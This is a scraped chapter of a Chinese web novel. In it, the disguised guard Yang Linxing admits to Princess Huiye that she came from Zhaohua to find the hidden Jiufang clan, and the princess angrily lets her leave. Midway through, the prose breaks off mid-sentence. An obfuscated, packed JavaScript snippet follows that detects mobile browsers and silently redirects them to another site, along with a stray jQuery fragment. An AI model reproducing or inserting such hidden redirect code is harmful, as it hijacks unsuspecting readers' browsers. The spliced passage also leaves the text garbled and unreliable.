66.怒海倾舟

作品:《孤阙逐星

    杨凛星终于又回到了公主府,不过这一次不是以公主专属护卫的身份,而是以罪人的身份。


    她被安排到了一个新的房间,相较于先前的侍卫所,这里更加明亮、整齐,屋子里甚至燃着特制的熏香,杨凛星闻着,感觉与公主卧房的味道很像。


    她被限制了出行,除了前两日来过几名宫里宫外的大夫给她问诊,每天能见到的便只有给她送饭的侍女。


    还有在她和公主之间两头跑的玉璃,他传达给杨凛星的内容包括但不限于:


    “公主殿下还在生凛星大人的气。”


    “我今天给公主殿下提凛星大人,她看都不看我。”


    “公主殿下每次经过凛星大人这边都要绕路走!”


    “公主……”


    “好了好了别说了。”杨凛星虚弱扶额。


    玉璃有些急躁的拍打着蛇尾,“凛星大人,您快点跟公主殿下和好吧!”


    杨凛星心想:“这用得着你说吗?我这不是正想办法呢吗!”


    然而话到嘴边,还是那么的风轻云淡:“你别急,我有我的考虑。”


    不等玉璃开口,她火速岔开了话题:“那几日你在王宫,可有发现九方氏的踪迹?”


    玉璃踌躇片刻,回答道:“我寻到了几处偏僻的寝殿,从外面看上去很是荒凉,不像是给人住的那种,但外面却站着好多守卫……”


    杨凛星眼眸一亮:“那便是了!你马上到沈灵泽那里,告诉他……”


    她话音未落,原本紧闭的大门被“砰”的推开,刺骨的寒风争先恐后的钻了进来,杨凛星不受控制地打了个冷颤。


    就这样,在一场猝不及防的谈话中,杨凛星终于见到了久违的辉夜公主。只是她尚未来得及做出任何致歉的行动,辉夜公主的质问就宛如一把冰刃抵在了她的脖颈。


    “你究竟是什么人?来到瀛御国、蓄意接近我到底有何目的?你要找的人又是谁?!”


    “蓄意接近。”杨凛星将这四个字拆解开来反复嚼碎,直到自己的舌尖终于尝到了苦涩的滋味。原来在信任的高墙崩塌以后,无数的猜忌和怀疑都会滚滚而来。


    杨凛星呆楞了半天,最后唯有苦笑——没啥可委屈的,这结果,不就是自己当初那漏洞百出、自以为是的计划换来的吗?


    她缓缓抬起头,深吸一口气,将胸膛里翻涌的复杂情绪尽力压下,然后朝着面色冷峻的辉夜公主,郑重地行了一个揖礼。


    “公主殿下。”杨凛星开口,声音平静得近乎漠然,仿佛在陈述一件与己无关的往事,“我至今……仍非常庆幸,当初能在武试现场,被您选中,带回公主府。”


    辉夜公主的睫毛几不可察地颤了一下,抿紧了唇,没有打断。


    杨凛星继续道,目光低垂,落在光洁却冰冷的地砖上:“我的确,另有目的。”


    空气似乎又凝滞了几分。


    “说。”辉夜公主终于吐出一个字,带着压抑的寒意,“你到底要干什么?混入我身边,所求为何?”


    杨凛星闭了闭眼,再睁开时,眼底是一片坦然的决绝。到了这一步,继续用“贫寒求存”的谎言已毫无意义,也侮辱了彼此曾经的情分。她选择抛出部分真相,或许是唯一还能为这段破碎关系留下的、一点微不足道的“诚实”。


    “我来自昭华国,”她清晰地说道,看到公主瞳孔微缩,“潜入瀛御,接近公主,是为了寻找一个人,或者说,一个家族——被瀛御国藏匿起来的九方氏。”


    “九方氏?”萧玥眉头紧蹙,这个名字对她而言似乎有些陌生,又带着某种遥远的、属于史书传闻的模糊印象,“什么九方氏?瀛御为何要藏匿他国氏族?林……,你莫不是又要编造什么离奇故事来搪塞我!” 怀疑之色更浓。


    “公主殿下或许不知,或在宫中未曾听闻。”杨凛星语气平稳,开始陈述,像在汇报一件公事,“九方氏并非普通家族。他们世代都是昭华国南方部族的管理者、掌权者。几年前,南方部族遭遇天灾以致民不聊生,瀛御国军趁此机会屡犯南部边境,九方氏在经过一段时间的奋勇抵抗后,突然在昭华国境内的土地上离奇失踪……自那以后,整个南方部族便驻满了瀛御国的军队……”


    她顿了顿,观察着公主的反应,见对方依旧满脸不信,便继续说下去,语气染上了一丝沉重:


    “公主可知,如今的昭华南疆是何光景?自天灾以来,旱季赤地千里,又接连遭到外国入侵,瀛御国人将一名为‘醉红’的毒物散播在南方的都城内,患者初时亢奋如醉,继而血气枯竭而亡,药石罔效。饥荒与毒物如同跗骨之蛆,南方部族的子民十室九空,苟活者亦如风中残烛。”


    她的声音不高,却勾勒出一幅人间地狱的惨淡图景。


    “而与此同时,”杨凛星抬起眼,目光直视萧玥,带着一种冰冷的锐利,“瀛御国的军队,却以‘协助平乱’、‘防止流寇越境’为名,在昭华南疆与瀛御接壤的边境线上,常年驻扎重兵,修建堡垒,监控严密。他们防的是什么?真的是流寇吗?还是……”


    “荒谬!”萧玥断然反驳,脸色因为激动而微微泛红,“你们南部天灾人祸,与我瀛御何干?驻军边境乃国防常情,怎可牵强附会成藏匿他国氏族的证据?至于九方氏……我瀛御王宫森严,皇室耳目众多,若真藏有如此重要之人,我岂会毫无耳闻?林星,你为了圆谎,竟不惜编造国政边防、诋毁我瀛御动机,真是……其心可诛!”


    她的不信,并非全然出于对杨凛星的愤怒,更多是基于她对自身国家、对宫廷的认知。她无法相信,自己的父王、自己的国家,会做出如此骇人听闻、烧杀抢掠之事!


    杨凛星看着公主眼中纯粹的质疑与怒火,心中最后一丝希冀也黯淡下去。她早该知道,仅凭一面之词,如何能撼动一位生长于宫廷、对父权国体有着天然维护的公主的信念?即便是这位公主前不久还对她的父王处处排斥,可终究是血浓于水。瀛御国的国主是她的亲生父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837091|189690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲,瀛御国才是她土生土长的国家,至于她杨凛星?不过是一个刚刚欺骗、利用完她的卑鄙小人。


    “看来,公主殿下是不信了。”杨凛星的声音没有透露出任何的意外和不满,她很快就接受了眼前的事实:“无妨。我本也没奢望能凭几句话就让您信服。寻找九方氏,就是我此行的目的,亦是我的私心——为故土寻一线生机!”


    她再次拱手,这次带上了告别的意味:“既然公主不信,我也不便再多言,更不能再厚颜留在殿下身边,徒增您的烦恼与风险。今日之事,全因我而起,殿下为我触怒国主,已是我万死难偿之过。此后种种,无论寻人还是应对贵国国主的雷霆之怒,皆是我一人之事。”


    她顿了顿,清晰而缓慢地说道:


    “恳请公主殿下,放我离开。”


    辉夜公主死死地盯着她,胸口剧烈起伏。放她离开?让她带着那一身秘密、那一堆听起来荒诞却又令人莫名不安的指控,独自去面对父王可能更严厉的追查,或者去进行她那听起来就危机四伏的计划?还是说,她根本就是找了个借口敷衍,想一走了之?


    巨大的失落、被欺瞒的愤怒、以及对杨凛星口中那个“南方部族”隐约的不安交织在一起,冲垮了她最后的理智。一种“既然你不信我,不屑于我庇护,那便随你去”的赌气心态,混杂着深深的受伤感,涌了上来。


    “走?”辉夜公主的声音陡然拔高,带着尖锐的讽刺和决绝,“你想走?好啊!我拦你作甚?你林星本事通天,既能女扮男装瞒过所有人,又能编出如此动听的故事,想必离了这公主府,离了瀛御皇宫,你照样能活得风生水起,完成你那伟大的计划!”


    她猛地转过身,背对着杨凛星,肩膀微微颤抖,每一个字都像从牙缝里挤出来:


    “你要走便走!从此以后,你的事,与我再无半点干系!是生是死,是成是败,都别再让我知道!我……再也不会管你!”


    最后一句,声音陡然低了下去,却带着一种更刺人的寒意和……难以掩饰的哽咽尾音。


    话音落下,偏殿内陷入死寂。只有两人压抑的呼吸声,和烛火不安的跳跃。


    杨凛星站在原地,看着公主那决绝而单薄的背影,那句“再也不会管你”如同最后的判词,将她彻底驱逐出了曾经温暖信任的领域。心中那片苦涩的荒漠,似乎又扩大了一圈。


    她默默地、深深地,再次行了一礼。然后,挺直脊梁,转身,朝着殿门的方向,一步一步,走了出去。脚步声在空旷的殿内回响,缓慢而坚定,最终消失在门外渐沉的夜色里。


    辉夜公主拼命强撑着自己的眼皮,生怕一眨眼那里就会有源源不断地泪珠倾泻而下。


    怎么会变成这样?她不是来看望她的伤势的吗?怎么一开口就成了质问?


    直到这一刻,辉夜公主才突然想到,自己连她真正的名字都没来得及问,人就已经头也不回的走了。


    终于,她的眼泪还是落了下来。